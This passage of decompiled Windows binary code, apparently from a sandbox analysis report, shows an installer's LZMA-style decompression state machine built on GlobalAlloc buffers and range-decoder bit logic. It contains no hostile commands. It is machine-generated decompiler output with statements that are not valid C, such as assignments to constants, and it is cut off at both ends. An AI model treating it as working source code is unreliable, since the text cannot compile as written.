							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
